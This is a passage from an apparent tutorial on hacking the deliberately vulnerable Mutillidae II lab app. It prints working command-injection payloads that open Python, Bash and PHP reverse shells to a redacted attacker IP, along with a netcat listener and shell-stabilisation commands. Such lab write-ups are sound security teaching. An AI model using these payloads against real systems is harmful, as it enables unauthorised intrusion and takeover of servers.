Wasp Attack

The Best Laid Schemes

It's worth saying at this point that I tried loads of things to see if I could get useful commands to run in that input box. As a result, I managed to crash the application a few times, which definitely deserves a word of warning if you are conducting a penetration test on a client's production environment.

To restore Mutillidae to its full glory, I had to stop the containers and start again during a few tests because the Reset DB link didn't work when the main web server locked up. To restart, enter the commands:

$ docker-compose down
$ docker-compose up -d

It's far, far quicker to restart the containers than it was on the initial run, thankfully. However, the database container needs to finish coming up before you can hit the blue Click here link as you did on the first install. If you left the SSH port forwarding terminal open, you won't need to rerun that; simply refresh your browser page.

Back to the attack, what you're trying to do is confuse the application into running what's called a reverse shell. It's a way of getting interactive access to the target system's command line. The aim is to get the target system to phone home back to your computer. Doing it "in reverse" like this is the best way because firewalling is generally less strict for outbound traffic compared with inbound traffic. Conversely, when a target listens for an attacker's incoming connection, it is called a bind shell.

In hopeful anticipation, on your computer, open a new terminal and create a listener with the vulnerable netcat security tool. You can install it on Debian Linux derivatives,

$ apt install netcat -y

or use the ncat package, which was enhanced by the Nmap team.

To create a listener that will dutifully (and most importantly, interactively) print any text received on TCP port 8888, use the command:

chris@Xeo:~$ nc -nvlp 8888
Listening on 0.0.0.0 8888

I tried this widely used Python snippet to create a reverse shell in the DNS lookup input field,

scanme.nmap.org; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("XXX.XXX.XXX.XXX",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

which includes my redacted IP address and TCP port 8888, all pasted as one line. I then submitted the input by pressing the Lookup DNS button.

I also tried a Bash snippet to fire up a reverse shell, with and without the bash -c and single quotes:

scanme.nmap.org; bash -c 'bash -i >& /dev/tcp/XXX.XXX.XXX.XXX/8888 0>&1'

Unfortunately, the Python and both Bash attempts failed, sadly crashing the application a few times as I went.

With a little bit of cheating (I mean googling, of course), I came across a PHP reverse shell snippet. With bated breath, I pasted this command into the input box after the hostname and it worked like a treat:

scanme.nmap.org; php -r '$sock=fsockopen("XXX.XXX.XXX.XXX",8888);exec("/bin/sh -i <&3 >&3 2>&3");'

Figure 13 shows in the reverse shell terminal that the AWS instance has phoned home to create an interactive shell.

Figure 13: Happiness is a working reverse shell.

The id command shows that I am the www-data user, which is the Ubuntu and Debian Linux user that the Apache web server usually runs as. Now you can attempt privilege escalation to become the root user, take control of the container, and then potentially escape the container and become root on the underlying AWS instance, too. World dominance would be next.

Usually, the next trick would be to stabilize the reverse shell so it doesn't disconnect with an accidental Ctrl+C and so it has normal terminal functionality (e.g., Tab completion and Up/Down arrow history, among other things). Under normal circumstances, you would run some commands to maintain the connection and improve the shell.

The first step would be to spawn a bona fide Bash shell (changing python to python3 – or just python2.7 on some machines):

$ python -c 'import pty; pty.spawn("/bin/bash")'

Unfortunately, on this occasion the command failed (all Python versions were unavailable), so I gave up and continued.

This failure makes sense because I had a shell inside the www container that is running Mutillidae directly. Containers are unlikely to have many of the usual packages found on a fully fledged Linux system because of their tiny size and portability. Escaping from that container and onto the host is a topic for another day. However, the ability to stabilize the shell was restricted as a result.

A stable shell without Python can be achieved in other ways [11], such as uploading netcat to the container, but I'd encourage you to read on for the next few commands that would usually offer you a near-perfect shell if issued after the Python command above.

A second, shorter command would be used to force terminal emulator mode [12] (e.g., to give you the clear command):

$ export TERM=xterm

Then, you would temporarily put the Netcat process on hold by backgrounding it with Ctrl+Z. The final command would be to foreground the process again (and disable echoed text from coming back to your terminal after entering commands):

$ stty raw -echo; fg

The very last thing to do is hit Enter once or twice to wake up the shell. The result is a shell very similar to connecting locally or legitimately to a server over SSH, for example.

The End Is Nigh

I hope I have suitably extolled the virtues of the unerring Mutillidae II functionality, albeit via a whistle-stop tour. It's an absolutely excellent implementation of a vulnerable application, and it covers so many bases you could be testing against it for months. Because of its broad coverage and vast array of topics, it is a really thorough way of improving your security knowledge.

If you are armed with an abundance of tenacity and a willingness to learn, then you can't go wrong. Make use of the fantastic help pages if you get stuck. Happy ethical hacking!